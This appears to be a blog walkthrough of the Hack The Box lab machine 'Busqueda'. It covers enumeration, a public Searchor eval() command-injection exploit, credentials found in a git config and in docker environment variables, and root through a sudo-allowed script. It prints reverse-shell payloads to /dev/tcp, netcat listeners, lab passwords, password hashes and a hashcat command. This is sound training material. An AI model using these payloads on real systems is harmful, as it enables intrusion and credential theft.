Enumeration
nmap
I ran my nmap scan and found both HTTP and SSH opened. Given that SSH is likely used later and that we don’t have any credentials I checked the website.
When i accessed it I noticed that I got a domain name rather than an IP in my URL - searcher.htb - I added it into my /etc/hosts.
nmap scan results
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:09 CEST
Nmap scan report for 10.129.228.217
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/5%OT=22%CT=1%CU=31695%PV=Y%DS=2%DC=I%G=Y%TM=69D18C3B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F9%GCD
OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2
OS:NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W
OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for 10.129.228.217
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
Nmap done: 1 IP address (1 host up) scanned in 1008.62 seconds
HTTP
After then I was greeted with a simple website with a form that lets you pick a search engine and look for data with a selected one.
In the background I ran ffuf -u https://searcher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt to look for interesting directories and ffuf -u https://searcher.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.searcher.htb" for subdomains. Those results came back empty. There were also no comments in the website code.
Looking into the POST request with BurpSuite I noticed that the request changes depending if we check the “Auto redirect” box.
Without the box checked - engine=DuckDuckGo&query=%2Fetc%2Fpasswd
With the box checked - engine=DuckDuckGo&query=%2Fetc%2Fpasswd&auto_redirect=
Manual attempts at LFI didn’t work as the website filters / into their encoded %2F. I tried using multiple //, encoding and double-encoding dashes myself and using \ before and after them to confuse the filter, but it didn’t work.
I tested for an RFI inputting http://127.0.0.1:80/../../etc/passwd into different parameters without any results.
I also looked through the engines to see if there isn’t a one that could be taken advantage of but I didn’t find such one. Too bad as we can make the server perform requests outside on our behalf and so this seems like such an opportunity for SSRF. I also can’t add custom engines in the POST request itself as it doesn’t go through.
I remembered that I saw IppSec using an SSTI (Server-Side Template Injection) method.
SSTI is a vulnerability when user input is injected into a template engine (Flask uses one) to execute a payload as a template code. Template code is used to generate dynamic text like Hello {{username}}! to get Hello Azaeir! and such.
I googled and found few payloads, interestingly when I run one of them it changed the response behavior.
Weirdly enough engine=DuckDuckGo&query=<SSTI payload> and engine=DuckDuckGo&query=' both give the same empty response. This could be a strong error-based SSTI detection indicator or me just breaking the sites logic.
I tried a lot of different payloads and approaches to influence the template engine to no avail. I noticed that ' symbol is the one that makes the response blank. I was hoping that it was escaping some placeholder, script, or a function but I think even if it does, I can’t seem to take advantage of it.
Foothold
As I felt that I have fallen into a small rabbit hole with it, I decided to scope out of it and look for some public exploits. Wappalyzer found a lot of different components of the website so I went through some of them and Flask itself too. I found some GitHub repos taking about an exploit (Arbitrary CMD Injection) for Searchor 2.4.0 and 2.4.2, this could be what I’m looking for.
Reading up on the vulnerability, it comes from a vulnerable eval() function which is really funny as I just did the Craft machine which also took advantage of this insecure function!
So, I cloned this exploit to my local machine, run nc -lnvp 1337 and followed the syntax mentioned in the repository and in the script contents and got shell on the target host.
What is actually pretty interesting about this shell is that it uses python as an execution method evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment" for a payload which is actually in encoded bash rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64).
svc
On the target machine I was spawned in as a svc user. I looked manually for some interesting information, found the user flag but nothing at /home gave me way further although there was a .git file on it. I went back into the home directory of the user at /var/www/app and looked around for some other possible priv-esc vectors. In those files I found a .git folder which holds an initial repo commit data. In this data, I found a config file which hold a url that links the local repository with a remote one. This link hold embedded credentials for the user cody.
cody:jh1usoih2bkjaspwe92
I suspect that similar simple security vectors finally made Microsoft enforce a token authentication within GitHub.
Besides the credentials we can also see another subdomain gitea.searcher.htb. I will add it into /etc/hosts just in case.
Privilege Escalation
Cody
Let’s try to authenticate into SSH with the new credentials and hope that the user reused their creds.
Sadly they didn’t work on SSH but I accessed gitea.searcher.htb via browser and authenticated as cody - it went through.
Gitea seems to be a self-hosted git platform, similar to gogs - which is another similarity to Craft On it, I found a repository where cody and Administrator worked on the searcher webapp. I reviewed the code thoroughly, logic that is used to POST the search request looks quite vulnerable at the first glace.
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()The script uses subprocesses library in Python which is generally used to call and execute other tools on the host like nc to make a script run a listener. This script takes user’s input (“engine” and “query”) and uses it to run the searchor, then returns its output (or redirects to it) without validating how that tool handles the input. The vulnerable part here is that there are no filters for a user, it supplies user input directly into the function’s logic.
I tried to test some payloads but none of them worked, unfortunately it looks like It won’t work. subprocess.run passes the input as a literal argument no matter what I put in there and not matter how I try to escape it. My payloads won’t get executed unless searchor itself would somehow mishandle them internally but that didn’t happen.
I decided to scope out from the gitea and try to do some more priv-esc enumeration before I ran any automated tools. Running sudo -l -S I got some information.
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *It looks like my correct user has full root rights over the /opt/scripts/system-checkup.py python scripts.
sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py -h
<SNIP>
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkupReading up on the help page, I can see that I can enumerate running containers.
svc@busqueda:/$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
<in/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 years ago Up 24 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 years ago Up 24 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_dbSeeing the mysql_db container I looked up what data can be actually inspected, “.Config.Env” is a metadata field which gives basic configuration information and present variables of the container.
I tried to run it like that sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect .Config.Env mysql_db but it didn’t work. I tried sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ".Config.Env" mysql_db but it also didn’t work. Finally I found that in Go language, metadata is also parsed with double {’s so I tried with them sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config.Env}} mysql_db and it worked.
Inside, I actually found some credentials - “MYSQL_ROOT_PASSWORD”, “MYSQL_USER” and “MYSQL_PASSWORD”.
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{.Config.Env}}" mysql_db
<heckup.py docker-inspect "{{.Config.Env}}" mysql_db
[MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8]I assume that this is how the credentials should be related.
gitea:yuiu1hoiu4i5ho1uh
root:jI86kGUuj87guWr3RyFI tried to connect to the database with this command, but it didn’t work mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 which is unusual.
Then I tried mysql -u gitea -p -h 127.0.0.1 -P 3306 to no avail.
I gave up on connecting to the mysql directly, this could be an issue with my shell and spawning another tool locally, so I just run commands one-by-one like so:
svc@busqueda:/var/www/app$ mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "SHOW DATABASES;"
<SNIP>
Database
gitea
information_schema
performance_schemaThen I looked at the tables:
mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "USE gitea; SHOW TABLES;"
<SNIP>
watch
webauthn_credential
webhookAnd enumerated user data:
mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e "USE gitea; SELECT * FROM user";The information came out really scuffed, so I spent some time formatting it to be actually readable.
id lower_name name full_name email keep_email_private email_notifications_preference passwd passwd_hash_algo must_change_password login_type login_source login_nametype location website rands salt language description created_unix updated_unix last_login_unix last_repo_visibility max_repo_creation is_active is_admin is_restricted allow_git_hook allow_import_local allow_create_organization prohibit_login avatar avatar_email use_custom_avatar num_followers num_following num_stars num_reposnum_teams num_members visibility repo_admin_change_team_access diff_view_style theme keep_activity_private
1 administrator administrator administrator@gitea.searcher.htb 0 enabled ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 pbkdf2 0 0 0 0 44748ed806accc9d96bf9f495979b742 a378d3f64143b284f104c926b8b49dfb en-US 1672857920 1680531979 1673083022 1-1 1 1 0 0 0 1 0 administrator@gitea.searcher.htb 0 0 0 0 1 0 0 0 0 auto 0
2 cody cody cody@gitea.searcher.htb 0 enabled b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e pbkdf2 0 0 0 0304b5a2ce88b6d989ea5fae74cc6b3f3 d1db0a75a18e50de754be2aafcad5533 en-US 1672858006 1680532283 1680532243 1 -1 1 0 0 0 0 1 0cody@gitea.searcher.htb 0 0 0 0 1 0 0 0 0 auto 0Here’s the data in a table:
| ID | Name | Password | Algorithm | Salt | |
|---|---|---|---|---|---|
| 1 | administrator | administrator@gitea.searcher.htb | ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 | pbkdf2 | a378d3f64143b284f104c926b8b49dfb |
| 2 | cody | cody@gitea.searcher.htb | b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e | pbkdf2 | d1db0a75a18e50de754be2aafcad5533 |
What I see here are PBKDF2-HMAC-SHA256 password hashes. I have the password itself, algorythm mentioned and salt but I do not know the amount of the hashing iterations the passwords went through. This information is important to be able to actually crack the password. From my googling it seems like 50000 iterations is a standard.
hashcat -m 10900 'sha256:50000:a378d3f64143b284f104c926b8b49dfb:ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2' wordlist.txt
I ran this for a long time but nothing came out and it took too long so I pivoted to other possible vectors.
I thought of xp_cmdshell but it’s only on MSSQL and not on MySQLs. I tried reading and writing files but It didn’t work. I checked it with mysql -u root -pjI86kGUuj87guWr3RyF -h 127.0.0.1 -P 3306 -e "show variables like 'secure_file_priv'"; and it looks that mysql is restricted to only read and write files in /var/lib/mysql-files/.
Administrator
Quite disappointingly I ran out of ideas and tried to authenticate with the credentials I have to SSH and later to Gitea. Turns out that Administrator:yuiu1hoiu4i5ho1uh is a valid combo. This is a bit weird as the “root” password for the DB is different. I guess this just shows that it’s important to check every possible combination of acquired credentials.
I was able to access administrators gitea and enumerate the scripts inside, the one inside is system-checkup.py.
From the code I learned that the scripts looks for a relative path when running full-checkup and want to run ./full-checkup.py.
I can create a bash reverse shell and rename it to full-checkup.py so that the script reads and executes my shell in process elevating my privileges.
First I create the payload with echo -N "bash -c 'bash -i >& /dev/tcp/10.10.15.189/1338 0>&1;'" > full-checkup.sh change permissions so that it can be executed chmod +x full-checkup.sh and lastly I start a listener with nc -lnvp 1338.
Then when I run sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup and get a shell as root.
Closing Thoughts
Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It’s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!
